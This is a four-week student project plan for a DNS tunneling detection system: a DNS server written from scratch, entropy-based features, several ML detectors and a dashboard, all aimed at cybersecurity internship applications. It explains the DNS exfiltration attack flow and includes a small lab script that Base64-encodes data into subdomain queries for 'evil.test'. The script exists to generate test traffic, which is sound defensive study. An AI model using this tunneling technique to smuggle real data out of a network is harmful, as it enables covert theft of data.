

DNS Exfiltration Detection System

A Multi-Model ML Approach to Covert Channel Detection

Target: NTRO / Cybersecurity Internship Applications **Timeline:** April 2026 (4 weeks) **Stack:** Python · Networking · Classical ML · Deep Learning **Deliverable:** GitHub Repository + Screencast Demo

Table of Contents

A Multi-Model ML Approach to Covert Channel Detection

Table of Contents

1. Project Overview

- 1.1 What Is This Project?
- 1.2 The Attack — DNS Tunneling Explained
- 1.3 Why This Is Detectable With ML
- 1.4 Relevance to NTRO
- 1.5 Technology Stack

2. System Architecture

- 2.1 End-to-End Pipeline
- 2.2 Repository Structure

3. Project Document

- 3.1 Problem Statement
- 3.2 Objectives
- 3.3 Scope
- 3.4 Datasets
- 3.5 ML Model Plan

4. Resume-Ready Requirements

- 4.1 Core Checklist
- 4.2 Demo Video Guide

5. Milestone Plan

- Timeline Overview
- M-0 — GitHub Repository Setup
- M-1 — DNS Server: Core Protocol Implementation
- M-2 — DNS Server: Compression, Forwarder & Logger
- M-3 — Data Pipeline: Dataset & Feature Engineering
- M-4 — Live Scorer & Synthetic Attack Setup
- M-5 — Phase 1 ML: Classical Models + SHAP
- M-6 — Phase 2 ML: Autoencoder Anomaly Detection
- M-7 — Phase 3 ML: Character-Level CNN + LSTM
- M-8 — Dashboard, Demo Video & Final Polish

6. Additional Goals (Post-April)

- AG-1 — Docker Containerisation

- AG-2 — Transformer Fine-Tuning (CharBERT)
- AG-3 — Threat Intelligence Feed Integration
- AG-4 — DGA Detection Module

- 7. Git Commit Reference
- 8. NTRO Framing Note

1. Project Overview

1.1 What Is This Project?

This project builds a complete **DNS Exfiltration Detection System** — a cybersecurity tool that monitors DNS network traffic and uses machine learning to identify when DNS is being abused as a covert data exfiltration channel. It combines low-level network protocol engineering with a progressive ML pipeline, ranging from classical models all the way to deep learning, applied to a real-world attack technique actively used by APT groups and malware in the wild.

The project is structured around two major pillars:

Pillar 1 — DNS Server (Foundation) You build a functional DNS server from scratch in Python, working at the byte level. This gives you protocol-depth understanding that makes the detection work meaningful rather than just running numbers through a library. This is built using the CodeCrafters DNS Server challenge as a guide.

Pillar 2 — Detection Pipeline (Core Project) A multi-model ML system that ingests DNS traffic, extracts features, and classifies queries as normal or tunneled using progressively more sophisticated models — from Random Forest up to character-level LSTMs.

1.2 The Attack — DNS Tunneling Explained

To build a detector you first need to understand what you are detecting. DNS (Domain Name System) is the protocol that translates domain names like `google.com` into IP addresses. Every device and network trusts DNS implicitly — blocking it breaks internet access entirely — which is exactly why attackers abuse it.

Step-by-step attack flow:

1. Malware infects a machine inside a secured corporate network where HTTP, FTP, and other protocols are firewalled.
2. The attacker pre-registers a domain (e.g., `c2tunnel.com`) and controls its DNS server.
3. The malware takes data to exfiltrate — credentials, files, keylogger output — and encodes it in Base64 or hex.
4. The encoded data is split and sent as DNS subdomain queries: `SGVsbG8gV29ybGQ=.c2tunnel.com`
5. The corporate DNS resolver forwards these queries outward because that is its job.
6. The attacker's DNS server receives the queries, decodes the subdomains, and reconstructs the stolen data.
7. Return channel data travels back the same way in DNS responses.

The network sees only DNS traffic — which looks perfectly normal. This technique is used in real malware including **DNScat2**, **Iodine**, and various APT toolkits. NTRO's tracking of tools like Raccoon Stealer involves exactly this class of covert channel.

1.3 Why This Is Detectable With ML

Legitimate DNS queries look like: `mail.google.com`, `api.github.com`, `fonts.googleapis.com`

Tunneled queries look like: `SGVsbG8gV29ybGQ==.c2tunnel.com`

These are measurably different across several dimensions:

Feature	Normal DNS	Tunneled DNS
Subdomain length	Short, readable (5-20 chars)	Long encoded strings (50-200+ chars)
Shannon entropy	Low (~3-4 bits/char)	High (~6 bits/char — Base64-like)
Character distribution	Vowels, words, hyphens	Random alphanumeric mix
Query frequency	Varied, user-driven	High frequency to same parent domain
Record types queried	Mostly A, CNAME	High TXT, NULL record usage
Unique subdomains	Few per domain	Many unique subdomains per domain

1.4 Relevance to NTRO

This project maps directly to NTRO's core mandate areas:

NTRO Mandate Area	How This Project Connects
SIGINT & Network Monitoring	DNS tunneling is a covert channel detection problem — directly in SIGINT scope
NCIIPC — Critical Infrastructure Protection	Project is framed as a critical infrastructure DNS monitoring tool
Malware Intelligence	NTRO tracked Raccoon Stealer; DNS-based C2 detection is the same domain
Cryptology (NICRD)	Shannon entropy and Base64 analysis are information-theoretic measurements
ML for Cyber Operations	Multi-model pipeline from classical ML to deep learning on live network data

1.5 Technology Stack

Layer	Tools & Libraries
Protocol Layer	Python <code>socket</code> (raw UDP), <code>struct</code> — DNS server built from scratch
Data & Features	<code>pandas</code> , <code>numpy</code> , <code>scapy</code> / <code>pyshark</code> — feature extraction from <code>pcap</code> / CSV
Classical ML	<code>scikit-learn</code> — Random Forest, Isolation Forest, StandardScaler, SHAP
Deep Learning	TensorFlow / Keras — Autoencoder, 1D CNN, LSTM, character embeddings
Datasets	CIRA-CIC-DoHBrute, UNSW-NB15 (free, research-grade, published benchmarks)
Synthetic Attacks	DNScat2 or custom Python tunneling script for live testing
Visualisation	<code>matplotlib</code> , <code>seaborn</code> , SHAP plots
Dashboard	Streamlit — live query feed, model scores, alert log
Version Control	Git + GitHub — one repo, structured branches per milestone

2. System Architecture

2.1 End-to-End Pipeline

```
[ DNScat2 / Synthetic Tunneling Script ]
    ↓ DNS Queries over UDP Port 53
[ DNS Server — Raw UDP Socket, Packet Parser, Forwarder ]
    ↓ Structured Log Entries
[ Query Logger — SQLite Database ]
    ↓ Feature Matrix
```

```
[ Feature Extraction Pipeline – pandas, entropy, time windows ]
    ↓ Anomaly Scores + Predictions
[ Model Ensemble – Random Forest | Isolation Forest | Autoencoder | LSTM ]
    ↓ Flagged Queries + SHAP Explanations
[ Streamlit Dashboard – Live Feed, Alerts, Model Comparison ]
```

2.2 Repository Structure

```
dns-exfil-detector/
├── dns_server/                # Pillar 1 – DNS server from scratch
│   ├── server.py             # UDP socket + packet receive loop
│   ├── parser.py             # Header, question, answer section parsing
│   ├── forwarder.py          # Upstream resolver (8.8.8.8) forwarding
│   └── logger.py              # SQLite query logging
├── pipeline/                  # Pillar 2 – Detection pipeline
│   ├── features.py           # Feature extraction module
│   ├── dataset.py            # Dataset loading + preprocessing
│   └── scorer.py              # Live scoring from log feed
├── models/                    # ML models – one notebook per phase
│   ├── phase1_classical.ipynb
│   ├── phase2_autoencoder.ipynb
│   └── phase3_lstm_cnn.ipynb
├── dashboard/                 # Streamlit app
│   └── app.py
├── attack_sim/                # Synthetic attack generation
│   └── tunnel_sim.py
├── tests/                     # Unit tests per module
├── data/                      # Datasets (gitignored – download script provided)
├── demo/                      # Screencast + screenshots
├── requirements.txt
└── README.md
```

3. Project Document

3.1 Problem Statement

DNS-based data exfiltration remains one of the most effective and underdetected attack techniques in modern threat actor toolkits. Unlike HTTP or raw TCP exfiltration, DNS tunneling exploits a universally trusted protocol, making it invisible to standard firewall rules and resistant to signature-based detection.

Critical infrastructure networks — government agencies, power grids, financial institutions — are particularly vulnerable because they depend on strict perimeter controls that attackers intentionally bypass via DNS. This project addresses the detection gap by building a behaviour-based, ML-driven DNS monitoring system capable of

identifying tunneling activity through statistical and deep learning analysis of query patterns, without requiring pre-existing signatures for its unsupervised components.

3.2 Objectives

1. Build a functional DNS server in Python from scratch, understanding the protocol at byte level.
 2. Implement a feature extraction pipeline that converts raw DNS queries into a structured, ML-ready format.
 3. Train and evaluate three tiers of ML models — classical (Random Forest + Isolation Forest), deep anomaly detection (Autoencoder), and sequence modelling (1D CNN + LSTM).
 4. Integrate SHAP-based explainability so model predictions are interpretable — every flagged query shows which features triggered the alert.
 5. Deliver a Streamlit dashboard showing a live query feed, anomaly scores, and model comparison results.
 6. Produce a screencast demonstration and well-documented GitHub repository suitable for internship applications.
-

3.3 Scope

In Scope (April Deliverable)

- DNS server built from scratch — UDP socket, packet parser, compression handler, forwarder
- Feature engineering from DNS query logs — entropy, length, frequency, record type, time windows
- Three-phase ML pipeline — Phase 1 (classical), Phase 2 (autoencoder), Phase 3 (character-level DL)
- SHAP explainability integrated into Phase 1 Random Forest
- Streamlit dashboard for live query monitoring
- Synthetic attack generation using DNScat2 or a custom Python tunneling script
- Evaluation on CIRA-CIC-DoHBrute or equivalent published dataset
- GitHub repository with documentation and demo video

Out of Scope for April — Planned as Additional Goals

- Docker containerisation → AG-1
 - Fine-tuned transformer / CharBERT model → AG-2
 - CERT-In / NCIIPC threat intelligence feed integration → AG-3
 - DGA (Domain Generation Algorithm) detection module → AG-4
 - PCAP ingestion from live network interfaces at scale
-

3.4 Datasets

Primary: CIRA-CIC-DoHBrute Dataset — Canadian Institute for Cybersecurity. Contains labelled DNS over HTTPS and tunneling traffic. Freely available, used in published research. Download from: <https://www.unb.ca/cic/datasets/>

Alternate: UNSW-NB15 — Contains multiple attack categories including DNS anomalies. Well-documented, widely used in academic benchmarks.

Self-generated: Live tunneling traffic produced by running DNScat2 or a custom Python Base64-encoding DNS script against your own server. This is the attack traffic you test your detector against in real time — it also forms the pentesting angle of the project.

3.5 ML Model Plan

Phase	Model	Type	Milestone	Deadline
Phase 1	Random Forest	Supervised Classification	M-5	Week 2
Phase 1	Isolation Forest	Unsupervised Anomaly Detection	M-5	Week 2
Phase 1	SHAP Explainability	Interpretability Layer	M-5	Week 2
Phase 2	Autoencoder (Keras)	Deep Anomaly Detection	M-6	Week 3
Phase 3	1D CNN (char-level)	Sequence Classification	M-7	Week 4
Phase 3	LSTM (char-level)	Sequence Classification	M-7	Week 4
AG-2	Transformer (CharBERT)	Fine-tuned Deep Learning	Additional Goal	Post-April

4. Resume-Ready Requirements

4.1 Core Checklist

The following must be complete for the project to be presentable in an internship application for NTRO, CERT-In, or any cybersecurity + ML role. Each item maps to a milestone in Section 5.

Requirement	What It Demonstrates	Milestone
Working DNS server (UDP socket, parser, forwarder)	Protocol engineering — you understand DNS at byte level, not just API calls	M-1, M-2
Feature extraction pipeline with entropy + time windows	Statistical analysis of network behaviour — core threat hunting skill	M-3, M-4
Random Forest classifier with evaluation metrics	Supervised ML — precision, recall, F1, confusion matrix	M-5
Isolation Forest (unsupervised)	Anomaly detection without labelled data — production-realistic approach	M-5
SHAP explainability plots	Explainable AI — security analysts need to know WHY an alert fired	M-5
Autoencoder anomaly detector	Deep learning — encoder/decoder architecture, latent space, threshold tuning	M-6
Character-level CNN or LSTM	Sequence modelling — same family as production DGA detectors at Cisco/Palo Alto	M-7
Model comparison table (all 4+ models)	Analytical rigour — you evaluated systematically, not just built one model	M-7
Streamlit dashboard (live + demo-able)	Systems integration — connects protocol layer to ML layer visually	M-8
Synthetic attack generation (DNSScanner or script)	Attacker mindset — you generated the attack and built the defense	M-4
Clean GitHub repo + README + Jupyter notebooks	Code quality, documentation, reproducibility	M-0, M-8
3-5 min screencast demo video	Communication — you can explain technical work clearly	M-8

4.2 Demo Video Guide

A screencast is the best way to demonstrate a local project without requiring the viewer to install anything. Target length is **4 to 6 minutes**. Use **OBS Studio** (free, no watermark) or **Loom** (free tier, auto-uploads). Record at 1080p. Upload to YouTube as Unlisted or Google Drive with link access, then embed the link prominently at the top of your README.

Part 1 — The DNS Server (60 seconds)

- Open two terminals side by side.
- Terminal 1: run `python dns_server/server.py` — show it listening on port 5353.
- Terminal 2: run a `dig` command or `nslookup` pointed at your server for a real domain. Show it resolving.
- Briefly show a print statement output displaying the raw hex bytes of an incoming packet alongside your parser's structured output. This visually proves you are working at byte level, not using a DNS library.

Part 2 — Generating the Attack (45 seconds)

- Run your synthetic tunneling script (`python attack_sim/tunnel_sim.py`).
- Show the queries appearing in your server's log — long Base64-looking subdomains scrolling through.
- This is the moment a reviewer sees what the attack looks like as raw traffic. Narrate briefly: "These are DNS queries carrying encoded payload data in the subdomain field."

Part 3 — The Dashboard (90 seconds)

- Run `streamlit run dashboard/app.py` and open it in browser.
- Show the live query feed updating in real time as you fire more test queries.
- Point out normal queries vs. flagged queries — use colour coding (green/red).
- Click one flagged query and show its SHAP force plot. Narrate the key features: "Subdomain entropy of 5.8 and length of 94 characters were the primary signals that pushed this query to anomalous."

Part 4 — Model Comparison (60 seconds)

- Switch to your model results tab in the dashboard (or open the Jupyter notebook).
- Show your comparison table — Random Forest, Isolation Forest, Autoencoder, LSTM — with precision, recall, F1 side by side.
- Give one genuine insight: which model performed best? Where did the Isolation Forest miss? One real analytical observation matters more than reading every number aloud.

Part 5 — Code Tour (30 seconds)

- Show the GitHub repo in browser — clean folder structure, README visible, notebooks listed.
- That is all. Do not walk through code in the video. The repo is there for reviewers who want to read it.

5. Milestone Plan

Timeline Overview

Milestone	Focus	Time Estimate	Week	Cumulative %
M-0	GitHub setup, repo structure, README	1 day	1	5%
M-1	DNS server core — UDP, header + question parsing	3 days	1	18%
M-2	DNS compression, forwarder, SQLite logger	2 days	1	28%
M-3	Dataset EDA, feature engineering, preprocessing	3 days	2	43%
M-4	Live scorer, synthetic tunneling attack script	2 days	2	53%
M-5	Phase 1 ML — Random Forest, Isolation Forest, SHAP	3 days	2-3	68%

Milestone	Focus	Time Estimate	Week	Cumulative %
M-6	Phase 2 ML — Autoencoder (Keras)	3 days	3	80%
M-7	Phase 3 ML — 1D CNN + LSTM, model comparison	3 days	3-4	90%
M-8	Streamlit dashboard, screencast, README polish	2 days	4	100%

M-0 — GitHub Repository Setup

🕒 1 day 📊 5% on completion 🗑️ SETUP

- Create a **public** GitHub repository named `dns-exfil-detector`.
- Write `README.md` with: project title, one-paragraph description of DNS tunneling and the detection approach, tech stack badges, placeholder sections for demo video link and results table.
- Add `.gitignore` for Python, Jupyter checkpoints, and the `data/` directory. Datasets are too large to commit — provide a `data/download.sh` script with the dataset URLs instead.
- Create the full folder structure from Section 2.2. Add empty `__init__.py` files and placeholder `README.md` files in each module folder so the structure is visible on GitHub.

Git Commit: M-0: Initial repository setup, folder structure, and README

M-1 — DNS Server: Core Protocol Implementation

🕒 3 days 📊 18% on completion 🗑️ DNS SERVER

Day 1 — UDP Server + Header Parsing

Open a raw UDP socket on port 5353 (avoid port 53 which requires root privileges). Write a receive loop using `socket.socket(socket.AF_INET, socket.SOCK_DGRAM)`. Parse the 12-byte DNS header using Python's `struct` module — transaction ID (2 bytes), flags (2 bytes), question count, answer count, authority count, additional count. Write a `DNSHeader` class with `pack()` and `unpack()` methods.

Day 2 — Question Section + Answer Section

Implement DNS name parsing. Labels in DNS are length-prefixed: `\x06google\x03com\x00` represents `google.com`. Write `parse_name()` that reads length bytes and reconstructs the human-readable domain string. Build a `DNSRecord` class for answer sections covering record type (A, TXT, CNAME, MX), TTL, and rdata. Write a basic echo response so your server can reply to queries.

Day 3 — Unit Tests

Write unit tests in `tests/test_parser.py`. Capture a real DNS packet using Wireshark or `scapy`, hardcode it as a bytes literal in your test, and assert that your parser extracts the correct domain name and record type. This validates correctness before you build the detection layer on top. Tests passing = milestone complete.

Git Commit: M-1: DNS server core – UDP socket, header and question section parsing

M-2 — DNS Server: Compression, Forwarder & Logger

🕒 2 days 📊 28% on completion 📁 DNS SERVER

DNS Compression

When the top 2 bits of a length byte in a DNS name are `11`, it is a pointer — 2 bytes that point to an earlier offset in the packet where the name already appears. This is DNS compression, used to save space. Write `decompress_name()` that follows pointers recursively and reconstructs the full domain name. This is important because tunneling tools sometimes manipulate compression to confuse naive parsers.

Forwarder

When your server receives a query it cannot answer locally, forward the raw UDP packet to `8.8.8.8:53`, wait for the response, and relay it back to the original client. This makes your server a functional recursive resolver and mirrors exactly how corporate DNS infrastructure works — the position in a real network where you would deploy your detector.

Query Logger

On every query received (before forwarding), write a row to a SQLite database using Python's built-in `sqlite3` module:

```
CREATE TABLE queries (
  id          INTEGER PRIMARY KEY AUTOINCREMENT,
  timestamp   TEXT,
  src_ip      TEXT,
  query_name  TEXT,
  record_type TEXT,
  response_code TEXT
);
```

End-to-end test: configure your machine to use `127.0.0.1:5353` as DNS temporarily, make a few web requests, and confirm the queries appear correctly in the database.

Git Commit: M-2: DNS compression, query forwarder, and SQLite logger

M-3 — Data Pipeline: Dataset & Feature Engineering

🕒 3 days 📊 43% on completion 🏷️ ML PIPELINE

Day 1 — Dataset Setup & EDA

Download the CIRA-CIC-DoHBrute dataset from <https://www.unb.ca/cic/datasets/>. Load it with pandas. Run `df['label'].value_counts()` to see class distribution. Check for nulls. Plot a histogram of query lengths split by label — this single plot will immediately show you why length is a useful feature. Read the dataset paper abstract to understand what traffic scenarios it covers.

Day 2 — Feature Engineering

Write `pipeline/features.py` implementing the following functions. Each takes a query name string and returns a numeric value:

```
def subdomain_length(query: str) -> int:
    # Length of the leftmost label (before the first dot)

def shannon_entropy(s: str) -> float:
    #  $H = -\sum(p * \log_2(p))$  for each character frequency
    # Implement using collections.Counter – do NOT use a library for this

def digit_ratio(s: str) -> float:
    # Count of digit characters / total length

def consonant_vowel_ratio(s: str) -> float:
    # consonant count / vowel count (legitimate domains tend to be pronounceable)

def label_count(query: str) -> int:
    # Number of dot-separated segments in the full domain

def max_label_length(query: str) -> int:
    # Length of the longest individual segment
```

Day 3 — Time Window Aggregation + Preprocessing

Write a sliding window function that groups queries by `(src_ip, parent_domain)` over 60-second windows and computes `unique_subdomains_per_window` and `queries_per_second`. These are behavioural features that only make sense aggregated over time.

Apply `StandardScaler`. Save feature matrix to `data/features.csv`. Perform an 80/20 stratified train/test split. Confirm class balance is preserved in both splits.

Git Commit: M-3: Data pipeline – dataset EDA, feature engineering, preprocessing

M-4 — Live Scorer & Synthetic Attack Setup

🕒 2 days 📊 53% on completion 🛠 ML PIPELINE

Live Feature Scorer

Write `pipeline/scorer.py` that polls the SQLite database every 5 seconds, picks up new query rows, runs them through `features.py`, and outputs a scored row to a results table. This is the bridge between your DNS server and your ML models — real queries flow in, features come out.

Synthetic Tunneling Script

Write `attack_sim/tunnel_sim.py`:

```
import base64, socket, time

def tunnel_data(data: str, domain: str = "evil.test", server: str = "127.0.0.1", port: int = 5353):
    encoded = base64.b64encode(data.encode()).decode()
    chunks = [encoded[i:i+30] for i in range(0, len(encoded), 30)]
    for chunk in chunks:
        query_name = f"{chunk}.{domain}"
        # Send as a DNS A-record query to your server
        send_dns_query(query_name, server, port)
        time.sleep(0.1)
```

Run this script while your DNS server is logging. After running it, your SQLite database should contain rows with clearly anomalous features mixed in with normal forwarded traffic. Plot entropy distributions of both classes in a quick notebook cell to visually confirm they separate — this is your sanity check before training any model.

Git Commit: M-4: Live scorer, synthetic tunneling simulation, attack data generation

M-5 — Phase 1 ML: Classical Models + SHAP

🕒 3 days 📊 68% on completion 🏷️ PHASE 1 ML

Work in `models/phase1_classical.ipynb`.

Random Forest Classifier

```
from sklearn.ensemble import RandomForestClassifier
from sklearn.metrics import classification_report, confusion_matrix, roc_auc_score

rf = RandomForestClassifier(n_estimators=200, max_depth=None, random_state=42)
rf.fit(X_train, y_train)
```


Evaluate with: `classification_report` (precision, recall, F1 per class), confusion matrix heatmap using seaborn, and ROC-AUC curve. Target F1 > 0.85 on the tunneled class.

Isolation Forest

```
from sklearn.ensemble import IsolationForest

iso = IsolationForest(contamination=0.05, random_state=42)
iso.fit(X_train_normal) # Train ONLY on normal samples
scores = iso.decision_function(X_test)
```

Compute precision/recall by thresholding the anomaly score. Compare directly to Random Forest in a markdown table in the notebook.

SHAP Explainability

```
import shap

explainer = shap.TreeExplainer(rf)
shap_values = explainer.shap_values(X_test)

# Global feature importance
shap.summary_plot(shap_values[1], X_test, feature_names=feature_names)

# Individual prediction explanation for 3 flagged queries
shap.force_plot(explainer.expected_value[1], shap_values[1][flagged_idx],
                X_test.iloc[flagged_idx])
```

Save these plots as PNGs in `demo/shap_plots/`. Write a 200-word analysis section in the notebook: which features were most predictive? Where did the Isolation Forest miss compared to Random Forest? What does this tell you about the nature of the attack?

Git Commit:

M-5: Phase 1 ML – Random Forest, Isolation Forest, SHAP explainability

M-6 — Phase 2 ML: Autoencoder Anomaly Detection

 3 days  80% on completion  PHASE 2 ML

Work in `models/phase2_autoencoder.ipynb`.

Architecture

```
from tensorflow import keras
from tensorflow.keras import layers

input_dim = X_train.shape[1]

encoder = keras.Sequential([
    layers.Dense(32, activation='relu', input_shape=(input_dim,)),
    layers.Dense(16, activation='relu'),
    layers.Dense(8, activation='relu'), # bottleneck
])

decoder = keras.Sequential([
    layers.Dense(16, activation='relu', input_shape=(8,)),
    layers.Dense(32, activation='relu'),
    layers.Dense(input_dim, activation='sigmoid'),
])

autoencoder = keras.Sequential([encoder, decoder])
autoencoder.compile(optimizer='adam', loss='mse')
```

Training

Train **only on normal traffic samples**. Use early stopping on validation loss with patience=5. Plot training and validation loss curves — they should converge smoothly. If they diverge, your model is overfitting.

```
history = autoencoder.fit(
    X_train_normal, X_train_normal,
    epochs=100, batch_size=64,
    validation_split=0.1,
    callbacks=[keras.callbacks.EarlyStopping(patience=5, restore_best_weights=True)]
)
```

Anomaly Scoring

```
reconstructions = autoencoder.predict(X_test)
reconstruction_errors = np.mean(np.power(X_test - reconstructions, 2), axis=1)

# Threshold at 95th percentile of normal traffic reconstruction error
threshold = np.percentile(reconstruction_errors[y_test == 0], 95)
predictions = (reconstruction_errors > threshold).astype(int)
```

Plot two overlaid histograms: reconstruction error for normal vs. tunneled queries. They should separate clearly — this plot is visually compelling and belongs in your README.

Add precision, recall, F1 at your chosen threshold to the running model comparison table.

Key concept to note in the notebook: The autoencoder has never seen tunneled traffic during training. It flags anomalies because it cannot reconstruct patterns it was never trained on. This is how unsupervised threat detection works in production environments where labelled attack data does not exist.

Git Commit: M-6: Phase 2 ML – Autoencoder anomaly detection and threshold tuning

M-7 — Phase 3 ML: Character-Level CNN + LSTM

🕒 3 days 📊 90% on completion 🏷️ PHASE 3 ML

Work in `models/phase3_lstm_cnn.ipynb`.

Character Tokenisation

```
vocab = list('abcdefghijklmnopqrstuvwxyz0123456789-.')
char_to_idx = {c: i+1 for i, c in enumerate(vocab)} # 0 reserved for padding
MAX_LEN = 100

def tokenise(domain: str) -> list
    subdomain = domain.split('.')[0].lower()
    return [char_to_idx.get(c, 0) for c in subdomain[:MAX_LEN]]

X_seq = keras.preprocessing.sequence.pad_sequences(
    [tokenise(q) for q in queries], maxlen=MAX_LEN, padding='post'
)
```

This is identical preprocessing to NLP character-level models. You are treating domain names as text sequences.

1D CNN Model

```
cnn_model = keras.Sequential([
    layers.Embedding(len(vocab)+1, 8, input_length=MAX_LEN),
    layers.Conv1D(64, 3, activation='relu'),
    layers.MaxPooling1D(2),
    layers.Conv1D(128, 3, activation='relu'),
    layers.GlobalMaxPooling1D(),
    layers.Dense(64, activation='relu'),
    layers.Dropout(0.3),
    layers.Dense(1, activation='sigmoid')
])
cnn_model.compile(optimizer='adam', loss='binary_crossentropy', metrics=['accuracy'])
```

The convolution learns local character n-gram patterns — runs of Base64 characters, unusual character combinations, specific patterns that appear in encoded payloads.

LSTM Model

```
lstm_model = keras.Sequential([
    layers.Embedding(len(vocab)+1, 16, input_length=MAX_LEN),
    layers.LSTM(64, return_sequences=True),
    layers.LSTM(32),
    layers.Dense(32, activation='relu'),
    layers.Dropout(0.3),
    layers.Dense(1, activation='sigmoid')
])
lstm_model.compile(optimizer='adam', loss='binary_crossentropy', metrics=['accuracy'])
```

The LSTM processes character sequences left to right, capturing long-range dependencies across the full subdomain string.

Final Model Comparison Table

Produce a consolidated results table across all models. This is the headline result of the entire project:

Model	Type	Precision	Recall	F1	Inference Time
Random Forest	Supervised	TBD	TBD	TBD	TBD
Isolation Forest	Unsupervised	TBD	TBD	TBD	TBD
Autoencoder	Deep Anomaly	TBD	TBD	TBD	TBD
1D CNN	Sequence	TBD	TBD	TBD	TBD
LSTM	Sequence	TBD	TBD	TBD	TBD

Write a conclusion paragraph: did raw character sequences outperform hand-engineered features? What does this tell you about the value of feature engineering vs. learned representations? This analysis is what elevates the project from homework to genuine research.

Git Commit: M-7: Phase 3 ML – character-level CNN and LSTM, final model comparison

M-8 — Dashboard, Demo Video & Final Polish

 2 days  100% on completion  FINAL

Streamlit Dashboard

Build `dashboard/app.py` with three tabs:

- **Tab 1 — Live Feed:** Auto-refreshing table (every 5 seconds) of recent queries from SQLite. Colour-code rows by anomaly score — green for normal, orange for suspicious, red for flagged. Show timestamp, query name, entropy score, model prediction.
- **Tab 2 — Model Results:** Static charts loaded from saved PNGs — confusion matrices, ROC curves, the model comparison table from M-7, SHAP summary plot.
- **Tab 3 — Query Inspector:** Text input where you type any domain string, run it through all trained models, and display each model’s prediction score alongside a SHAP force plot for the Random Forest. This is the most interactive part of the demo.

Run with: `streamlit run dashboard/app.py`

Screencast

Follow the guide in Section 4.2. Upload to YouTube (Unlisted) or Google Drive (Anyone with link). Target 4–6 minutes.

README Final State

The README must contain the following sections in this order:

1. Project title + one-line description
2. **Demo video link — prominent, at the very top above everything else**
3. Architecture diagram (ASCII version from Section 2.1 is fine)
4. Quick start — `pip install -r requirements.txt`, how to run DNS server, how to run dashboard
5. Dataset download instructions
6. Model results table (the comparison from M-7 with actual numbers filled in)
7. A section titled “**Security Context**” explaining what DNS tunneling is and why detection matters
8. Repository structure

requirements.txt

Pin all versions (`pip freeze > requirements.txt`). Test a clean install in a fresh virtual environment before finalising.

Git Commit: M-8: Streamlit dashboard, demo video embedded, README finalised – project complete

6. Additional Goals (Post-April)

Begin these only after M-8 is complete and submitted for your internship applications.

AG-1 — Docker Containerisation

🕒 2-3 days 🛠️ DEVOPS

Write a `Dockerfile` for the DNS server: base image `python:3.11-slim`, expose UDP port 5353, `ENTRYPOINT` for `server.py`. Write a second `Dockerfile` for the Streamlit dashboard. Write `docker-compose.yml` that spins up both containers plus mounts a shared SQLite volume.

With this in place, a reviewer can clone your repo and run `docker-compose up` to see the entire project running without installing anything. This is the gold standard for project reproducibility on GitHub and signals DevOps awareness beyond pure ML work.

Add a “**Quick Start with Docker**” section to your README above the manual install instructions.

Git Commit: AG-1: Docker containerisation – `Dockerfile` and `docker-compose` for full stack

AG-2 — Transformer Fine-Tuning (CharBERT)

🕒 1-2 weeks 🛠️ ADVANCED ML

Research the CharBERT paper and existing work applying BERT-style models to domain name analysis — search “BERT domain generation algorithm detection” on Google Scholar. Several published papers do exactly this. Use HuggingFace Transformers to load a small pretrained character-level model. Fine-tune on your labelled DNS dataset: freeze lower layers, train classification head, use learning rate `2e-5`, batch size 16.

Add results to your model comparison table and analyse: does the transformer improve over LSTM? At what cost in inference time and compute?

“Fine-tuned a character-level transformer for DNS threat detection” is currently one of the most in-demand ML resume lines and it is directly achievable from your M-7 foundation.

Git Commit:

AG-2: Transformer fine-tuning – CharBERT for DNS threat classification

AG-3 — Threat Intelligence Feed Integration

🕒 3-4 days 📁 THREAT INTEL

Integrate the CISA Known Exploited Vulnerabilities (KEV) feed and/or the AlienVault OTX community threat intel feed — both have free public APIs. Cross-reference flagged domains against known malicious domain lists from these feeds in real time. Add a “**TI Hit**” indicator to the dashboard — if a flagged domain matches a known IOC, highlight it separately from ML-flagged queries.

This mirrors exactly how NTRO/NCIIPC analysts correlate network anomalies against known threat actor infrastructure. Mention this in your README’s Security Context section.

Git Commit: AG-3: Threat intelligence integration – CISA KEV and OTX feed correlation

AG-4 — DGA Detection Module

🕒 4-5 days 📌 EXTENSION

DGA (Domain Generation Algorithm) detection is the natural extension of this project. Botnets and APT malware use DGAs to generate random-looking domains for C2 communication to evade static blocklists. This is directly related to what NTRO does when tracking malware families like Raccoon Stealer.

Dataset: DGArchive or Bambenek Consulting feeds provide labelled DGA domain samples across multiple malware families.

Your character-level LSTM from M-7 can be extended with a multi-class output — Normal vs. Tunneled vs. DGA-family. Add a DGA family analysis section: plot a confusion matrix across DGA families. Which malware families does your model distinguish? Which does it confuse with each other and why?

Git Commit:

AG-4: DGA detection extension – multi-class LSTM across malware families

7. Git Commit Reference

Use these exact commit messages when completing each milestone. A clean commit history reads like a professional project log to anyone reviewing your repository.

Milestone	Git Commit Message
M-0	M-0: Initial repository setup, folder structure, and README
M-1	M-1: DNS server core – UDP socket, header and question section parsing
M-2	M-2: DNS compression, query forwarder, and SQLite logger
M-3	M-3: Data pipeline – dataset EDA, feature engineering, preprocessing
M-4	M-4: Live scorer, synthetic tunneling simulation, attack data generation
M-5	M-5: Phase 1 ML – Random Forest, Isolation Forest, SHAP explainability

Milestone	Git Commit Message
M-6	M-6: Phase 2 ML – Autoencoder anomaly detection and threshold tuning
M-7	M-7: Phase 3 ML – character-level CNN and LSTM, final model comparison
M-8	M-8: Streamlit dashboard, demo video embedded, README finalised – project complete
AG-1	AG-1: Docker containerisation – Dockerfile and docker-compose for full stack
AG-2	AG-2: Transformer fine-tuning – CharBERT for DNS threat classification
AG-3	AG-3: Threat intelligence integration – CISA KEV and OTX feed correlation
AG-4	AG-4: DGA detection extension – multi-class LSTM across malware families

8. NTRO Framing Note

When presenting this project for NTRO or any defence/intelligence internship, use this framing:

You built a **critical infrastructure DNS monitoring system** that applies **ML-based behavioural analysis** to detect covert command-and-control channels used by APT-level threat actors. You generated synthetic attack traffic (*attacker mindset*), built the detection pipeline (*defender mindset*), and applied **information-theoretic methods** (Shannon entropy) to distinguish encoded payloads from legitimate traffic — the same mathematical foundation used in cryptanalysis.

Every word of that framing is technically accurate to what you built.

This framing connects directly to: - **NTRO's SIGINT mandate** — covert channel detection is signal intelligence work - **NCIIPC's role** — protecting critical infrastructure networks from DNS-based exfiltration - **NICRD (cryptology division)** — Shannon entropy is an information-theoretic measurement with direct roots in cryptanalysis - **NTRO's malware tracking work** — DNS C2 detection is the same domain as tracking Raccoon Stealer and similar APT tools

